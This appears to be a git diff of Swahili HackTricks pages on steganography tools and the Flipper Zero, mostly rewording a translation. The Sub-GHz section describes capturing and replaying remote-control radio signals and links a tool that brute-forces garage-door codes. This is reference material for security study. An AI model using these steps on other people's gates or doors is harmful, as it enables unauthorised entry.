* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -34,7 +34,7 @@ binwalk --dd ".*" file # Extracts all data
|
|||
```
|
||||
### **Kwanza kabisa**
|
||||
|
||||
Inapata faili kulingana na vichwa vyao na miguu, inayofaa kwa picha za png. Imewekwa kupitia `apt` na chanzo chake kwenye [GitHub](https://github.com/korczis/foremost).
|
||||
Inarejesha faili kulingana na vichwa vyao na miguu, inayofaa kwa picha za png. Imeboreshwa kupitia `apt` na chanzo chake kwenye [GitHub](https://github.com/korczis/foremost).
|
||||
```bash
|
||||
foremost -i file # Extracts data
|
||||
```
|
||||
|
@ -74,17 +74,17 @@ Inatumika kulinganisha faili iliyobadilishwa na toleo lake la asili lililopatika
|
|||
```bash
|
||||
cmp original.jpg stego.jpg -b -l
|
||||
```
|
||||
## **Kuchimba Data Iliyofichwa kwenye Matini**
|
||||
## **Kuondoa Data Iliyofichwa kwenye Matini**
|
||||
|
||||
### **Data Iliyofichwa kwenye Nafasi**
|
||||
|
||||
Vipande visivyoonekana katika nafasi zisizo na maudhui yanaweza kuficha taarifa. Ili kuchimba data hii, tembelea [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
||||
Vipande visivyoonekana katika nafasi zisizo na maudhui yanaweza kuficha taarifa. Ili kuondoa data hii, tembelea [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
||||
|
||||
## **Kuchimba Data kutoka kwenye Picha**
|
||||
## **Kuondoa Data kutoka kwenye Picha**
|
||||
|
||||
### **Kutambua Maelezo ya Picha na GraphicMagick**
|
||||
### **Kutambua Maelezo ya Picha kwa Kutumia GraphicMagick**
|
||||
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) inatumika kutambua aina za faili za picha na kutambua uharibifu wa picha. Tekeleza amri ifuatayo kuangalia picha:
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) inatumika kutambua aina za faili za picha na kutambua uharibifu wa uwezekano. Tekeleza amri ifuatayo kuangalia picha:
|
||||
```bash
|
||||
./magick identify -verbose stego.jpg
|
||||
```
|
||||
|
@ -111,7 +111,7 @@ stegcracker <file> [<wordlist>]
|
|||
```
|
||||
### **zsteg kwa Faili za PNG na BMP**
|
||||
|
||||
zsteg inajitolea katika kufunua data iliyofichwa katika faili za PNG na BMP. Usanidi unafanywa kupitia `gem install zsteg`, na [chanzo chake kiko kwenye GitHub](https://github.com/zed-0xff/zsteg).
|
||||
zsteg inajitolea katika kufunua data iliyofichwa katika faili za PNG na BMP. Usanidi unafanywa kupitia `gem install zsteg`, na chanzo chake kiko kwenye [GitHub](https://github.com/zed-0xff/zsteg).
|
||||
|
||||
**Amri:**
|
||||
|
||||
|
@ -128,15 +128,17 @@ zsteg inajitolea katika kufunua data iliyofichwa katika faili za PNG na BMP. Usa
|
|||
|
||||
Mbinu za Fast Fourier Transform (FFT) zinaweza kufunua yaliyofichwa katika picha. Vyanzo muhimu ni pamoja na:
|
||||
|
||||
* [Demos ya EPFL](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
* [FFTStegPic kwenye GitHub](https://github.com/0xcomposure/FFTStegPic)
|
||||
|
||||
### **Stegpy kwa Faili za Sauti na Picha**
|
||||
|
||||
Stegpy inaruhusu kuingiza habari kwenye faili za picha na sauti, ikisaidia muundo kama PNG, BMP, GIF, WebP, na WAV. Inapatikana kwenye [GitHub](https://github.com/dhsdshdhk/stegpy).
|
||||
Stegpy inaruhusu kuingiza habari katika faili za picha na sauti, ikisaidia muundo kama PNG, BMP, GIF, WebP, na WAV. Inapatikana kwenye [GitHub](https://github.com/dhsdshdhk/stegpy).
|
||||
|
||||
### **Pngcheck kwa Uchambuzi wa Faili za PNG**
|
||||
|
||||
Kuchambua faili za PNG au kuthibitisha uhalali wao, tumia:
|
||||
```bash
|
||||
apt-get install pngcheck
|
||||
pngcheck stego.png
|
||||
|
@ -165,13 +167,13 @@ Zana hii inalingana na aina mbalimbali za muundo ikiwa ni pamoja na PNG, BMP, GI
|
|||
|
||||
### **ffmpeg**
|
||||
|
||||
ffmpeg ni muhimu kwa kutathmini uadilifu wa faili za sauti, kutoa maelezo ya kina na kutambua hitilafu yoyote.
|
||||
ffmpeg ni muhimu kwa kutathmini uadilifu wa faili za sauti, kuelezea maelezo ya kina na kutambua hitilafu yoyote.
|
||||
```bash
|
||||
ffmpeg -v info -i stego.mp3 -f null -
|
||||
```
|
||||
### **WavSteg (WAV)**
|
||||
|
||||
WavSteg inafanya vizuri katika kuficha na kutoa data ndani ya faili za WAV kwa kutumia mkakati wa biti zisizo muhimu zaidi. Inapatikana kwenye [GitHub](https://github.com/ragibson/Steganography#WavSteg). Amri ni pamoja na:
|
||||
WavSteg inafanya vizuri katika kuficha na kutoa data ndani ya faili za WAV kwa kutumia mkakati wa biti isiyo muhimu zaidi. Inapatikana kwenye [GitHub](https://github.com/ragibson/Steganography#WavSteg). Amri ni pamoja na:
|
||||
```bash
|
||||
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
|
||||
|
||||
|
@ -179,26 +181,26 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
|
|||
```
|
||||
### **Deepsound**
|
||||
|
||||
Deepsound inaruhusu kufanya encryption na kugundua habari ndani ya faili za sauti kwa kutumia AES-256. Inaweza kupakuliwa kutoka [ukurasa rasmi](http://jpinsoft.net/deepsound/download.aspx).
|
||||
Deepsound inaruhusu kwa encryption na uchunguzi wa habari ndani ya faili za sauti kwa kutumia AES-256. Inaweza kupakuliwa kutoka [ukurasa rasmi](http://jpinsoft.net/deepsound/download.aspx).
|
||||
|
||||
### **Sonic Visualizer**
|
||||
|
||||
Zana muhimu kwa uchunguzi wa kivisuali na kianalitiki wa faili za sauti, Sonic Visualizer inaweza kufunua vipengele vilivyofichwa visivyoweza kugunduliwa kwa njia nyingine. Tembelea [tovuti rasmi](https://www.sonicvisualiser.org/) kwa maelezo zaidi.
|
||||
Zana muhimu kwa uchunguzi wa kivisual na kianalitiki wa faili za sauti, Sonic Visualizer inaweza kufunua vipengele vilivyofichwa visivyoweza kugunduliwa kwa njia nyingine. Tembelea [tovuti rasmi](https://www.sonicvisualiser.org/) kwa maelezo zaidi.
|
||||
|
||||
### **DTMF Tones - Dial Tones**
|
||||
|
||||
Kugundua sauti za DTMF katika faili za sauti kunaweza kufanikiwa kupitia zana mtandaoni kama [hii DTMF detector](https://unframework.github.io/dtmf-detect/) na [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
Kugundua sauti za DTMF katika faili za sauti kunaweza kufikiwa kupitia zana mtandaoni kama [hii DTMF detector](https://unframework.github.io/dtmf-detect/) na [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
|
||||
## **Mbinu Nyingine**
|
||||
|
||||
### **Urefu wa Binary SQRT - Msimbo wa QR**
|
||||
### **Urefu wa Binary SQRT - QR Code**
|
||||
|
||||
Data ya binary ambayo inapata mraba wa nambari kamili inaweza kuwakilisha msimbo wa QR. Tumia kificho hiki kuangalia:
|
||||
Data ya binary ambayo inapata mraba wa nambari kamili inaweza kuwakilisha QR code. Tumia sehemu hii kuangalia:
|
||||
```python
|
||||
import math
|
||||
math.sqrt(2500) #50
|
||||
```
|
||||
### **Tafsiri ya Braille**
|
||||
### **Ubadilishaji wa Braille**
|
||||
|
||||
Kwa kutafsiri Braille, [Mwandishi wa Braille wa Branah](https://www.branah.com/braille-translator) ni rasilimali nzuri.
|
||||
|
||||
|
@ -209,17 +211,17 @@ Kwa kutafsiri Braille, [Mwandishi wa Braille wa Branah](https://www.branah.com/b
|
|||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -14,7 +14,7 @@
|
|||
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -22,20 +22,20 @@
|
|||
|
||||
Kwa [**Flipper Zero**](https://flipperzero.one/) unaweza:
|
||||
|
||||
* **Sikiliza/Chukua/Rejea marudio ya redio:** [**Sub-GHz**](fz-sub-ghz.md)
|
||||
* **Soma/Chukua/Emule kadi za NFC:** [**NFC**](fz-nfc.md)
|
||||
* **Soma/Chukua/Emule vitambulisho vya 125kHz:** [**125kHz RFID**](fz-125khz-rfid.md)
|
||||
* **Soma/Chukua/Tuma ishara za Infrared:** [**Infrared**](fz-infrared.md)
|
||||
* **Soma/Chukua/Emule iButtons:** [**iButton**](../ibutton.md)
|
||||
* **Tumia kama Bad USB**
|
||||
* **Tumia kama ufunguo wa usalama (U2F)**
|
||||
* **Cheza Snake**
|
||||
* **Kusikiliza/Kukamata/Kurejea marudio ya redio:** [**Sub-GHz**](fz-sub-ghz.md)
|
||||
* **Kusoma/Kukamata/Kuiga kadi za NFC:** [**NFC**](fz-nfc.md)
|
||||
* **Kusoma/Kukamata/Kuiga vitambulisho vya 125kHz:** [**125kHz RFID**](fz-125khz-rfid.md)
|
||||
* **Kusoma/Kukamata/Kutuma ishara za Infrared:** [**Infrared**](fz-infrared.md)
|
||||
* **Kusoma/Kukamata/Kuiga iButtons:** [**iButton**](../ibutton.md)
|
||||
* **Kuitumia kama Bad USB**
|
||||
* **Kuitumia kama ufunguo wa usalama (U2F)**
|
||||
* **Kucheza Snake**
|
||||
|
||||
**Rasilimali zingine za Flipper Zero katika** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
|
||||
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -6,17 +6,17 @@
|
|||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,13 +24,13 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
## Utangulizi <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zero inaweza **kupokea na kutuma masafa ya redio kwenye safu ya 300-928 MHz** na moduli yake iliyojengwa, ambayo inaweza kusoma, kuhifadhi, na kujifanya kuwa udhibiti wa mbali. Udhibiti huu hutumiwa kwa mwingiliano na milango, vizuizi, kufungua kwa redio, swichi za udhibiti wa mbali, kengele za mlango zisizo na waya, taa za akili, na zaidi. Flipper Zero inaweza kukusaidia kujua ikiwa usalama wako umevamiwa.
|
||||
Flipper Zero inaweza **kupokea na kutuma masafa ya redio katika upeo wa 300-928 MHz** na moduli yake iliyojengwa, ambayo inaweza kusoma, kuhifadhi, na kujifanya kuwa udhibiti wa mbali. Udhibiti huu hutumiwa kwa mwingiliano na milango, vizuizi, kufungia redio, swichi za udhibiti wa mbali, visinga vya mlango visivyo na waya, taa za akili, na zaidi. Flipper Zero inaweza kukusaidia kujua ikiwa usalama wako umevamiwa.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Vifaa vya Sub-GHz <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zero ina moduli ya sub-1 GHz iliyojengwa kulingana na [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101 chip](https://www.ti.com/lit/ds/symlink/cc1101.pdf) na antena ya redio (mbali ya juu ni mita 50). Chipi ya CC1101 na antena zimedesign kufanya kazi kwenye masafa ya 300-348 MHz, 387-464 MHz, na 779-928 MHz.
|
||||
Flipper Zero ina moduli ya sub-1 GHz iliyojengwa kulingana na [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101 chip](https://www.ti.com/lit/ds/symlink/cc1101.pdf) na antena ya redio (mbali ya juu ni mita 50). Chipi ya CC1101 na antena zimeundwa kufanya kazi kwa masafa katika bendi za 300-348 MHz, 387-464 MHz, na 779-928 MHz.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (8) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -39,14 +39,14 @@ Flipper Zero ina moduli ya sub-1 GHz iliyojengwa kulingana na [](https://www.
|
|||
### Mchambuzi wa Masafa
|
||||
|
||||
{% hint style="info" %}
|
||||
Jinsi ya kupata ni masafa gani yanayotumiwa na udhibiti
|
||||
Jinsi ya kugundua ni masafa gani yanayotumiwa na udhibiti wa mbali
|
||||
{% endhint %}
|
||||
|
||||
Wakati wa uchambuzi, Flipper Zero inachunguza nguvu za ishara (RSSI) kwenye masafa yote yanayopatikana katika usanidi wa masafa. Flipper Zero inaonyesha masafa yenye thamani kubwa ya RSSI, na nguvu ya ishara zaidi ya -90 [dBm](https://en.wikipedia.org/wiki/DBm).
|
||||
Wakati wa uchambuzi, Flipper Zero inachunguza nguvu za ishara (RSSI) kwa masafa yote yanayopatikana katika usanidi wa masafa. Flipper Zero inaonyesha masafa yenye thamani kubwa ya RSSI, na nguvu ya ishara zaidi ya -90 [dBm](https://en.wikipedia.org/wiki/DBm).
|
||||
|
||||
Ili kujua masafa ya udhibiti, fanya yafuatayo:
|
||||
Ili kujua masafa ya udhibiti wa mbali, fanya yafuatayo:
|
||||
|
||||
1. Weka udhibiti wa mbali karibu sana kushoto mwa Flipper Zero.
|
||||
1. Weka udhibiti wa mbali karibu sana na upande wa kushoto wa Flipper Zero.
|
||||
2. Nenda kwa **Menyu Kuu** **→ Sub-GHz**.
|
||||
3. Chagua **Mchambuzi wa Masafa**, kisha bonyeza na ushikilie kitufe kwenye udhibiti wa mbali unayotaka kuchambua.
|
||||
4. Angalia thamani ya masafa kwenye skrini.
|
||||
|
@ -54,17 +54,17 @@ Ili kujua masafa ya udhibiti, fanya yafuatayo:
|
|||
### Soma
|
||||
|
||||
{% hint style="info" %}
|
||||
Pata habari kuhusu masafa yanayotumiwa (njia nyingine ya kupata ni masafa gani yanayotumiwa)
|
||||
Pata habari kuhusu masafa yanayotumiwa (njia nyingine ya kugundua ni masafa gani yanayotumiwa)
|
||||
{% endhint %}
|
||||
|
||||
Chaguo la **Soma** **inasikiliza kwenye masafa yaliyosanidiwa** kwenye modulisheni iliyotajwa: 433.92 AM kwa chaguo-msingi. Ikiwa **kitu kinapatikana** wakati wa kusoma, **habari inatolewa** kwenye skrini. Habari hii inaweza kutumika kurudia ishara hapo baadaye.
|
||||
Chaguo la **Soma** **husikiliza kwenye masafa yaliyosanidiwa** kwenye modulisheni iliyotajwa: 433.92 AM kwa chaguo-msingi. Ikiwa **kitu kinapatikana** wakati wa kusoma, **habari inatolewa** kwenye skrini. Habari hii inaweza kutumika kwa kujirudia ishara hapo baadaye.
|
||||
|
||||
Wakati Soma inatumika, inawezekana bonyeza **kitufe cha kushoto** na **kuisanidi**.\
|
||||
Wakati Soma inatumika, inawezekana bonyeza kitufe cha **kushoto** na **kuisanidi**.\
|
||||
Wakati huu ina **modulisheni 4** (AM270, AM650, FM328 na FM476), na **masafa kadhaa muhimu** yameshikiliwa:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Unaweza kuweka **yoyote inayokuvutia**, hata hivyo, ikiwa haujui **ni masafa gani** yanaweza kutumiwa na udhibiti unaouweka, **weka Hopping kuwa ON** (Off kwa chaguo-msingi), na bonyeza kitufe mara kadhaa hadi Flipper inapochukua na kukupa habari unayohitaji kuweka masafa.
|
||||
Unaweza kuweka **yoyote inayokuvutia**, hata hivyo, ikiwa **haujui ni masafa gani** yanaweza kutumiwa na udhibiti wa mbali ulionao, **weka Hopping kuwa ON** (Off kwa chaguo-msingi), na bonyeza kitufe mara kadhaa hadi Flipper inapochukua na kukupa habari unayohitaji kuweka masafa.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Kubadilisha kati ya masafa huchukua muda fulani, kwa hivyo ishara zinazotumwa wakati wa kubadilisha zinaweza kukosa. Kwa kupokea ishara bora, weka masafa yaliyowekwa kulingana na Mchambuzi wa Masafa.
|
||||
|
@ -76,13 +76,13 @@ Kubadilisha kati ya masafa huchukua muda fulani, kwa hivyo ishara zinazotumwa wa
|
|||
Dukua (na rudufu) ishara kwenye masafa yaliyosanidiwa
|
||||
{% endhint %}
|
||||
|
||||
Chaguo la **Soma Raw** **inarekodi ishara** zilizotumwa kwenye masafa ya kusikiliza. Hii inaweza kutumika kudukua ishara na **kurudufu**.
|
||||
Chaguo la **Soma Raw** **inarekodi ishara** zilizotumwa kwenye masafa ya kusikiliza. Hii inaweza kutumika kwa **kuiba** ishara na **kuirudia**.
|
||||
|
||||
Kwa chaguo-msingi **Soma Raw pia iko kwenye 433.92 katika AM650**, lakini ikiwa kwa chaguo la Soma uligundua kuwa ishara inayokuvutia iko kwenye **masafa/modulisheni tofauti, unaweza pia kuibadilisha** kwa kubonyeza kushoto (wakati ndani ya chaguo la Soma Raw).
|
||||
|
||||
### Kuvunja-Nguvu
|
||||
|
||||
Ikiwa unajua itifaki inayotumiwa kwa mfano na mlango wa gari inawezekana k**uzalisha nambari zote na kuzituma na Flipper Zero.** Hii ni mfano unaounga mkono aina za kawaida za milango: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
|
||||
Ikiwa unajua itifaki inayotumiwa kwa mfano na mlango wa gereji, ni rahisi k**uzalisha nambari zote na kuzituma na Flipper Zero.** Hii ni mfano unaounga mkono aina za kawaida za kawaida za garages: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
|
||||
|
||||
### Ongeza Kwa Mkono
|
||||
|
||||
|
@ -92,15 +92,15 @@ Ongeza ishara kutoka kwa orodha iliyosanidiwa ya itifaki
|
|||
|
||||
#### Orodha ya [itifaki zinazoungwa mkono](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#id-3iglu" id="id-3iglu"></a>
|
||||
|
||||
| Princeton\_433 (inafanya kazi na mfumo wa nambari za msimamo wa kawaida) | 433.92 | Stesheni |
|
||||
| Princeton\_433 (inayofanya kazi na mfumo wa nambari za msimbo wa kawaida) | 433.92 | Stati |
|
||||
| --------------------------------------------------------------- | ------ | ------- |
|
||||
| Nice Flo 12bit\_433 | 433.92 | Stesheni |
|
||||
| Nice Flo 24bit\_433 | 433.92 | Stesheni |
|
||||
| CAME 12bit\_433 | 433.92 | Stesheni |
|
||||
| CAME 24bit\_433 | 433.92 | Stesheni |
|
||||
| Linear\_300 | 300.00 | Stesheni |
|
||||
| CAME TWEE | 433.92 | Stesheni |
|
||||
| Gate TX\_433 | 433.92 | Stesheni |
|
||||
| Nice Flo 12bit\_433 | 433.92 | Stati |
|
||||
| Nice Flo 24bit\_433 | 433.92 | Stati |
|
||||
| CAME 12bit\_433 | 433.92 | Stati |
|
||||
| CAME 24bit\_433 | 433.92 | Stati |
|
||||
| Linear\_300 | 300.00 | Stati |
|
||||
| CAME TWEE | 433.92 | Stati |
|
||||
| Gate TX\_433 | 433.92 | Stati |
|
||||
| DoorHan\_315 | 315.00 | Kinamik |
|
||||
| DoorHan\_433 | 433.92 | Kinamik |
|
||||
| LiftMaster\_315 | 315.00 | Kinamik |
|
||||
|
@ -108,7 +108,7 @@ Ongeza ishara kutoka kwa orodha iliyosanidiwa ya itifaki
|
|||
| Security+2.0\_310 | 310.00 | Kinamik |
|
||||
| Security+2.0\_315 | 315.00 | Kinamik |
|
||||
| Security+2.0\_390 | 390.00 | Kinamik |
|
||||
### Wauzaji wanaoungwa mkono wa Sub-GHz
|
||||
### Wauzaji wa Sub-GHz wanaoungwa mkono
|
||||
|
||||
Angalia orodha kwenye [https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors)
|
||||
|
||||
|
@ -128,20 +128,20 @@ Pata dBms za vipimo vilivyohifadhiwa
|
|||
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,17 +4,17 @@
|
|||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Je! Unafanya kazi katika **kampuni ya usalama wa mtandao**? Je! Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
